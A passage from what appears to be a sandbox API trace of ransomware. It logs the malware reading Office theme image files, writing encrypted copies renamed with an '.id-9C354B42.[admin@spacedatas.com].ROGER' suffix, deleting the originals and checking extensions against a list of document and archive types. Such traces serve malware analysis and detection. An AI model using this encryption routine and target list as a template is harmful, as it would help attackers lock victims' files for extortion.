files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0048.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.534] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.534] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0048.535] GetLastError () returned 0x0 [0048.535] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x639, lpOverlapped=0x0) returned 1 [0048.537] WriteFile (in: hFile=0x3e8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x640, lpOverlapped=0x0) returned 1 [0048.538] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.538] WriteFile (in: hFile=0x3e8, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.538] SetEndOfFile (hFile=0x3e8) returned 1 [0048.538] CloseHandle (hObject=0x3e8) returned 1 [0048.539] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.539] SetEndOfFile (hFile=0x36c) returned 1 [0048.539] CloseHandle (hObject=0x36c) returned 1 [0048.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.540] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0048.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0048.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0048.540] lstrlenW (lpString=".doc") returned 4 [0048.540] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.540] lstrlenW (lpString=".docx") returned 5 [0048.540] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.540] lstrlenW (lpString=".pdf") returned 4 [0048.540] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.540] lstrlenW (lpString=".xls") returned 4 [0048.540] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.540] lstrlenW (lpString=".xlsx") returned 5 [0048.540] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.540] lstrlenW (lpString=".ppt") returned 4 [0048.540] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0048.540] lstrlenW (lpString=".zip") returned 4 [0048.540] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.540] lstrlenW (lpString=".rar") returned 4 [0048.540] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.540] lstrlenW (lpString=".bz2") returned 4 [0048.540] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.540] lstrlenW (lpString=".7z") returned 3 [0048.540] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0048.541] lstrlenW (lpString=".dbf") returned 4 [0048.541] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0048.541] lstrlenW (lpString=".1cd") returned 4 [0048.541] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0048.541] lstrlenW (lpString=".jpg") returned 4 [0048.541] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0048.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0048.541] lstrlenW (lpString=".doc") returned 4 [0048.541] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.541] lstrlenW (lpString=".docx") returned 5 [0048.541] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.541] lstrlenW (lpString=".pdf") returned 4 [0048.541] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.541] lstrlenW (lpString=".xls") returned 4 [0048.541] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.541] lstrlenW (lpString=".xlsx") returned 5 [0048.541] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.541] lstrlenW (lpString=".ppt") returned 4 [0048.541] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0048.541] lstrlenW (lpString=".zip") returned 4 [0048.541] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.541] lstrlenW (lpString=".rar") returned 4 [0048.541] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.541] lstrlenW (lpString=".bz2") returned 4 [0048.541] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.541] lstrlenW (lpString=".7z") returned 3 [0048.541] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0048.542] lstrlenW (lpString=".dbf") returned 4 [0048.542] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0048.542] lstrlenW (lpString=".1cd") returned 4 [0048.542] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0048.542] lstrlenW (lpString=".jpg") returned 4 [0048.542] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.542] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.542] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0048.653] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=21745) returned 1 [0048.653] CloseHandle (hObject=0x368) returned 1 [0048.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0048.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0048.654] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.654] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.654] GetLastError () returned 0x0 [0048.654] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x54f1, lpOverlapped=0x0) returned 1 [0048.672] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x5500, lpOverlapped=0x0) returned 1 [0048.673] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.673] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.673] SetEndOfFile (hFile=0x3a0) returned 1 [0048.673] CloseHandle (hObject=0x3a0) returned 1 [0048.674] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.674] SetEndOfFile (hFile=0x368) returned 1 [0048.674] CloseHandle (hObject=0x368) returned 1 [0048.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.675] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0048.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0048.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0048.675] lstrlenW (lpString=".doc") returned 4 [0048.675] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.675] lstrlenW (lpString=".docx") returned 5 [0048.675] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.675] lstrlenW (lpString=".pdf") returned 4 [0048.675] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.675] lstrlenW (lpString=".xls") returned 4 [0048.675] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.675] lstrlenW (lpString=".xlsx") returned 5 [0048.675] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.675] lstrlenW (lpString=".ppt") returned 4 [0048.675] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0048.675] lstrlenW (lpString=".zip") returned 4 [0048.675] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.675] lstrlenW (lpString=".rar") returned 4 [0048.676] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.676] lstrlenW (lpString=".bz2") returned 4 [0048.676] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.676] lstrlenW (lpString=".7z") returned 3 [0048.676] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0048.676] lstrlenW (lpString=".dbf") returned 4 [0048.676] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0048.676] lstrlenW (lpString=".1cd") returned 4 [0048.676] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0048.676] lstrlenW (lpString=".jpg") returned 4 [0048.676] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0048.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0048.676] lstrlenW (lpString=".doc") returned 4 [0048.676] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.676] lstrlenW (lpString=".docx") returned 5 [0048.676] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.676] lstrlenW (lpString=".pdf") returned 4 [0048.676] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.676] lstrlenW (lpString=".xls") returned 4 [0048.676] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.676] lstrlenW (lpString=".xlsx") returned 5 [0048.676] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.677] lstrlenW (lpString=".ppt") returned 4 [0048.677] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0048.677] lstrlenW (lpString=".zip") returned 4 [0048.677] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.677] lstrlenW (lpString=".rar") returned 4 [0048.677] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.677] lstrlenW (lpString=".bz2") returned 4 [0048.677] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.677] lstrlenW (lpString=".7z") returned 3 [0048.677] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0048.677] lstrlenW (lpString=".dbf") returned 4 [0048.677] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0048.677] lstrlenW (lpString=".1cd") returned 4 [0048.677] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0048.677] lstrlenW (lpString=".jpg") returned 4 [0048.677] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.677] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.677] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0048.947] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=16738) returned 1 [0048.947] CloseHandle (hObject=0x3dc) returned 1 [0048.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0048.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0048.947] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.947] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0048.948] GetLastError () returned 0x0 [0048.948] ReadFile (in: hFile=0x3dc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x4162, lpOverlapped=0x0) returned 1 [0048.949] WriteFile (in: hFile=0x3ac, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x4170, lpOverlapped=0x0) returned 1 [0048.950] ReadFile (in: hFile=0x3dc, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0048.950] WriteFile (in: hFile=0x3ac, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.951] SetEndOfFile (hFile=0x3ac) returned 1 [0048.951] CloseHandle (hObject=0x3ac) returned 1 [0048.951] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.951] SetEndOfFile (hFile=0x3dc) returned 1 [0048.952] CloseHandle (hObject=0x3dc) returned 1 [0048.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.952] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0048.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0048.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0048.952] lstrlenW (lpString=".doc") returned 4 [0048.952] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.952] lstrlenW (lpString=".docx") returned 5 [0048.952] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.952] lstrlenW (lpString=".pdf") returned 4 [0048.952] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.952] lstrlenW (lpString=".xls") returned 4 [0048.952] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.952] lstrlenW (lpString=".xlsx") returned 5 [0048.953] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.953] lstrlenW (lpString=".ppt") returned 4 [0048.953] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0048.953] lstrlenW (lpString=".zip") returned 4 [0048.953] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.953] lstrlenW (lpString=".rar") returned 4 [0048.953] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.953] lstrlenW (lpString=".bz2") returned 4 [0048.953] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.953] lstrlenW (lpString=".7z") returned 3 [0048.953] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0048.953] lstrlenW (lpString=".dbf") returned 4 [0048.953] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0048.953] lstrlenW (lpString=".1cd") returned 4 [0048.953] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0048.953] lstrlenW (lpString=".jpg") returned 4 [0048.953] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0048.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0048.953] lstrlenW (lpString=".doc") returned 4 [0048.953] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.953] lstrlenW (lpString=".docx") returned 5 [0048.953] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.953] lstrlenW (lpString=".pdf") returned 4 [0048.953] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.953] lstrlenW (lpString=".xls") returned 4 [0048.953] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.954] lstrlenW (lpString=".xlsx") returned 5 [0048.954] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.954] lstrlenW (lpString=".ppt") returned 4 [0048.954] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0048.954] lstrlenW (lpString=".zip") returned 4 [0048.954] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.954] lstrlenW (lpString=".rar") returned 4 [0048.954] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.954] lstrlenW (lpString=".bz2") returned 4 [0048.954] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.954] lstrlenW (lpString=".7z") returned 3 [0048.954] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0048.954] lstrlenW (lpString=".dbf") returned 4 [0048.954] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0048.954] lstrlenW (lpString=".1cd") returned 4 [0048.954] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0048.954] lstrlenW (lpString=".jpg") returned 4 [0048.954] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.954] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.954] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0048.955] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=3970) returned 1 [0048.955] CloseHandle (hObject=0x3dc) returned 1 [0048.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 